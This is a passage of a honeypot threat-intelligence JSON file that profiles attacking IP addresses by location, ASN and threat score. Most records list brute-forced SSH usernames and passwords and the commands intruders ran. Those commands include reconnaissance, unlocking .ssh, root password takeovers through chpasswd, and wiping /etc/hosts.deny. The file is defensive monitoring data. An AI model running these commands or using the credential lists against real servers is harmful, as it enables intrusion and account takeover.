        "echo -e \"mysqld\\nqRa4mNcYxJR5\\nqRa4mNcYxJR5\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Ecuador",
      "country_code": "EC",
      "city": "Jun\u00edn",
      "asn": 14522,
      "as_org": "SERVICIOS DE TELECOMUNICACIONES SETEL S.A. XTRIM EC",
      "threat_score": 47.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.1,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 646,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T03:39:24.495000+00:00",
        "last_seen_30d": "2026-05-30T20:14:03.677000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 496,
        "Suricata": 150
      }
    },
    "112.102.39.173": {
      "attack_count": 484,
      "first_seen": "2026-05-21T06:44:07.476Z",
      "last_seen": "2026-05-22T09:41:49.037Z",
      "sessions": 242,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 741,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:44:07.476000+00:00",
        "last_seen_30d": "2026-05-22T09:42:59.435000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 484,
        "Suricata": 257
      }
    },
    "211.105.129.57": {
      "attack_count": 460,
      "first_seen": "2026-05-21T01:51:25.689Z",
      "last_seen": "2026-05-30T12:43:06.714Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "user",
        "admin",
        "ansible",
        "chi",
        "clouduser",
        "etcd",
        "gmodserver",
        "haiyang",
        "hik",
        "jack",
        "jeff",
        "kiran",
        "mobile",
        "ningbo",
        "panel",
        "rundeck",
        "sdbadmin",
        "seekcy"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "!qaz2wsx",
        "0621",
        "1",
        "1010",
        "1231",
        "12345",
        "Abc@123!",
        "Dd112211",
        "Hik@2025",
        "Joysuch@Locate2020",
        "Li@123456",
        "Qwerty@1234",
        "Redhat123",
        "admin",
        "administrateur",
        "asdf1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"asdf1234\\nNIErtpmhASd4\\nNIErtpmhASd4\\n\"|passwd",
        "echo \"root:Je3hF7whQW0t\"|chpasswd|bash",
        "echo \"root:Z4kShHauO414\"|chpasswd|bash",
        "echo -e \"asdf1234\\nNIErtpmhASd4\\nNIErtpmhASd4\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Buk-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 46.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.7,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 592,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T01:51:25.689000+00:00",
        "last_seen_30d": "2026-05-30T12:44:13.177000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 460,
        "Suricata": 132
      }
    },
    "43.134.100.154": {
      "attack_count": 372,
      "first_seen": "2026-05-18T03:48:54.237Z",
      "last_seen": "2026-05-18T04:16:18.746Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1qa@WS3ed",
        "ABC123",
        "Xu123456!",
        "ambiorix",
        "bangkok",
        "batubara",
        "bishop123",
        "buterilco4224",
        "iamroot",
        "kodi",
        "kontakt",
        "l3tm3in",
        "nadege",
        "spongebob",
        "sprint",
        "tiles",
        "ubuntu321",
        "ultra123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:NC1BQyRD1LiT\"|chpasswd|bash",
        "echo \"root:UvTKkF5mALQa\"|chpasswd|bash",
        "echo \"root:YpMnZN2kRmJa\"|chpasswd|bash",
        "echo \"root:oTLBkRjMaJRR\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 22.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 434,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T03:48:54.237000+00:00",
        "last_seen_30d": "2026-05-18T04:17:20.563000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 372,
        "Suricata": 62
      }
    },
    "43.245.97.82": {
      "attack_count": 363,
      "first_seen": "2026-05-03T03:04:31.608Z",
      "last_seen": "2026-05-23T02:56:43.776Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "demon",
        "ubuntu",
        "alex",
        "deploy",
        "devuser",
        "dockeradmin",
        "ftp_test",
        "ftpadmin",
        "gitlab-runner",
        "lyt",
        "oracle",
        "pankaj",
        "satis",
        "steam",
        "su",
        "test",
        "tester",
        "ts3"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "!@#QWEasd",
        "1",
        "112233445566",
        "123",
        "123123",
        "1234",
        "12345",
        "12345678",
        "123456aa",
        "1234Qwerty",
        "1234qwer",
        "123654",
        "123@qwert",
        "123QWErty",
        "1qazxsw2",
        "Aa123123.",
        "Lol12345"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"demon\\neWMwouU3fCGe\\neWMwouU3fCGe\\n\"|passwd",
        "echo \"ubuntu@2024\\n5rKZhf1X9IOi\\n5rKZhf1X9IOi\\n\"|passwd",
        "echo -e \"demon\\neWMwouU3fCGe\\neWMwouU3fCGe\"|passwd|bash",
        "echo -e \"ubuntu@2024\\n5rKZhf1X9IOi\\n5rKZhf1X9IOi\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 38719,
      "as_org": "Dreamscape Networks Limited",
      "threat_score": 41.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.8,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 474,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T03:04:31.608000+00:00",
        "last_seen_30d": "2026-05-23T02:57:47.154000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 363,
        "Suricata": 111
      }
    },
    "43.154.195.142": {
      "attack_count": 316,
      "first_seen": "2026-05-16T15:32:24.173Z",
      "last_seen": "2026-05-16T16:01:19.780Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "qw",
        "username",
        "admin",
        "auser",
        "cassandra",
        "dev",
        "gitlab-runner",
        "mehdi",
        "radio",
        "ubuntu",
        "zhou"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "11223344",
        "123",
        "123456xx",
        "1qaz2wsx!QAZ",
        "20192019",
        "ASDFasdf1234",
        "Aa888888",
        "Passw0rd!",
        "Qwe123qwe",
        "Qwert123456",
        "abc123",
        "cassandra",
        "gitlab-runner",
        "host@123",
        "mehdi1234",
        "qw",
        "qwe123.."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"abc123\\nlwZgqqBVa0VV\\nlwZgqqBVa0VV\\n\"|passwd",
        "echo \"qw\\nHhThX3BeIqiu\\nHhThX3BeIqiu\\n\"|passwd",
        "echo \"root:iyDhum3oRpRq\"|chpasswd|bash",
        "echo -e \"abc123\\nlwZgqqBVa0VV\\nlwZgqqBVa0VV\"|passwd|bash",
        "echo -e \"qw\\nHhThX3BeIqiu\\nHhThX3BeIqiu\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 378,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T15:32:24.173000+00:00",
        "last_seen_30d": "2026-05-16T16:02:20.405000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 316,
        "Suricata": 62
      }
    },
    "170.106.115.251": {
      "attack_count": 309,
      "first_seen": "2026-05-19T11:57:14.427Z",
      "last_seen": "2026-05-19T12:26:44.914Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "100100",
        "1925",
        "1qaz2wsx!@#",
        "Admin2023!",
        "Qaz123123",
        "aaa123456",
        "claude",
        "connie",
        "developer1",
        "gituser",
        "knight",
        "lance",
        "mac",
        "panasonic",
        "poipoi",
        "qq5201314",
        "qwe123asd456",
        "s1s2s3s4"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:9PrxrNEvP70C\"|chpasswd|bash",
        "echo \"root:JKdwC0obZJ8H\"|chpasswd|bash",
        "echo \"root:zzzXp2ph1Tb5\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 369,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T11:57:14.427000+00:00",
        "last_seen_30d": "2026-05-19T12:27:52.781000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 309,
        "Suricata": 60
      }
    },
    "160.251.169.213": {
      "attack_count": 289,
      "first_seen": "2026-05-06T23:10:03.474Z",
      "last_seen": "2026-05-22T09:07:12.562Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root",
        "git",
        "345gs5662d34",
        "ali",
        "mac",
        "test",
        "user"
      ],
      "passwords_attempted": [
        "$RFV4rfv",
        "111...aaa",
        "123.abcd",
        "123456",
        "1A2B3C4D",
        "3245gs5662d34",
        "345gs5662d34",
        "535897",
        "88888888",
        "Aa.123456",
        "Aa123456~",
        "Admin123!!!",
        "Git@2024",
        "Jt123456!",
        "P@ssw0rd1!",
        "Password123321",
        "Qaz445566",
        "Root@123123",
        "Yu123456@",
        "Zz123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:iGC13VDSHceZ\"|chpasswd|bash",
        "echo \"root:wsJ45tDSoGBf\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 58791,
      "as_org": "GMO Internet Group, Inc.",
      "threat_score": 36.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.8,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 379,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T23:10:03.474000+00:00",
        "last_seen_30d": "2026-05-22T09:08:22.184000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 289,
        "Suricata": 90
      }
    },
    "206.42.14.196": {
      "attack_count": 288,
      "first_seen": "2026-05-03T07:02:38.202Z",
      "last_seen": "2026-05-03T07:36:24.345Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "root",
        "deploy",
        "345gs5662d34",
        "git",
        "Ubuntu",
        "devops",
        "ensadmin",
        "labuser2",
        "mysql1",
        "testuser1"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "!@#$%^&*()",
        "!QAZ1qaz",
        "1111",
        "123456789123456789",
        "1q2w3e4r5t",
        "1qaz@WSX#EDC",
        "2",
        "20252025",
        "Qwe123",
        "abc.123",
        "abc12345678",
        "adm",
        "admin!!",
        "admin@test",
        "asdasd",
        "dev",
        "devops@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1111\\nuEN7Qs15KsFY\\nuEN7Qs15KsFY\\n\"|passwd",
        "echo \"2\\nwCe59bP5bHei\\nwCe59bP5bHei\\n\"|passwd",
        "echo -e \"1111\\nuEN7Qs15KsFY\\nuEN7Qs15KsFY\"|passwd|bash",
        "echo -e \"2\\nwCe59bP5bHei\\nwCe59bP5bHei\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Juazeiro do Norte",
      "asn": 28126,
      "as_org": "BRISANET SERVICOS DE TELECOMUNICACOES S.A",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 363,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T07:02:38.202000+00:00",
        "last_seen_30d": "2026-05-03T07:37:29.990000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 288,
        "Suricata": 75
      }
    },
    "31.57.63.117": {
      "attack_count": 286,
      "first_seen": "2026-05-29T12:50:43.977Z",
      "last_seen": "2026-05-29T13:15:56.830Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "john",
        "ubuntu",
        "fan",
        "jason",
        "sachin",
        "sai",
        "student"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345",
        "123456",
        "12345678AA",
        "A1s2d3f4g5",
        "Garena123",
        "Pass@123456",
        "Qaz123!@#",
        "Qwerty123",
        "alpha001",
        "fan",
        "fjbdfdjkdsfs541544",
        "root@123456",
        "sai",
        "xsw2!QAZ"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\ncaU13i3cc1zJ\\ncaU13i3cc1zJ\\n\"|passwd",
        "echo \"Qaz123!@#\\nB5OlJg4MrFwT\\nB5OlJg4MrFwT\\n\"|passwd",
        "echo \"root:mtx1huPKKA8A\"|chpasswd|bash",
        "echo -e \"123\\ncaU13i3cc1zJ\\ncaU13i3cc1zJ\"|passwd|bash",
        "echo -e \"Qaz123!@#\\nB5OlJg4MrFwT\\nB5OlJg4MrFwT\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Fremont",
      "asn": 56971,
      "as_org": "Cgi Global Limited",
      "threat_score": 35.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 335,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T12:50:43.977000+00:00",
        "last_seen_30d": "2026-05-29T13:17:02.486000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 286,
        "Suricata": 49
      }
    },
    "187.72.128.177": {
      "attack_count": 262,
      "first_seen": "2026-05-22T16:53:16.515Z",
      "last_seen": "2026-05-23T01:49:30.276Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "dev",
        "victor",
        "debian",
        "devops",
        "master",
        "phil",
        "scan",
        "sistemas",
        "ts3",
        "ubuntu",
        "usuario2",
        "xue"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123123",
        "123456",
        "12345678",
        "1qaz@WSX123",
        "Aa123456!@#",
        "Originalcox!@#",
        "Qwer123.",
        "Qwer1234@",
        "Test123@",
        "Ubuntu@2025",
        "admin123",
        "admin@123",
        "amir",
        "debian",
        "dev@12345",
        "phil",
        "proxmox",
        "qwerty1234!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:I95HHHwu61P0\"|chpasswd|bash",
        "echo \"victor2025\\nXJSpeybJNQHR\\nXJSpeybJNQHR\\n\"|passwd",
        "echo -e \"victor2025\\nXJSpeybJNQHR\\nXJSpeybJNQHR\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Franca",
      "asn": 16735,
      "as_org": "ALGAR TELECOM SA",
      "threat_score": 28.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 334,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T16:53:16.515000+00:00",
        "last_seen_30d": "2026-05-23T01:50:35.183000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 72
      }
    },
    "107.0.200.227": {
      "attack_count": 259,
      "first_seen": "2026-05-23T12:33:53.839Z",
      "last_seen": "2026-05-23T13:19:20.943Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "aroot",
        "admin",
        "osboxes",
        "temp",
        "user",
        "user8"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "2wsx#EDC",
        "Admin123!",
        "P@ssword12345",
        "Yx123456",
        "admin123",
        "admin@9000",
        "aroot",
        "osboxes.org",
        "q2w3e4r5t6",
        "root@123456",
        "user8"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:K4YfbD0yMpgl\"|chpasswd|bash",
        "echo \"root:VckYkmY67jav\"|chpasswd|bash",
        "echo \"root:owqFTbDd4doR\"|chpasswd|bash"
      ],
      "event_types": [
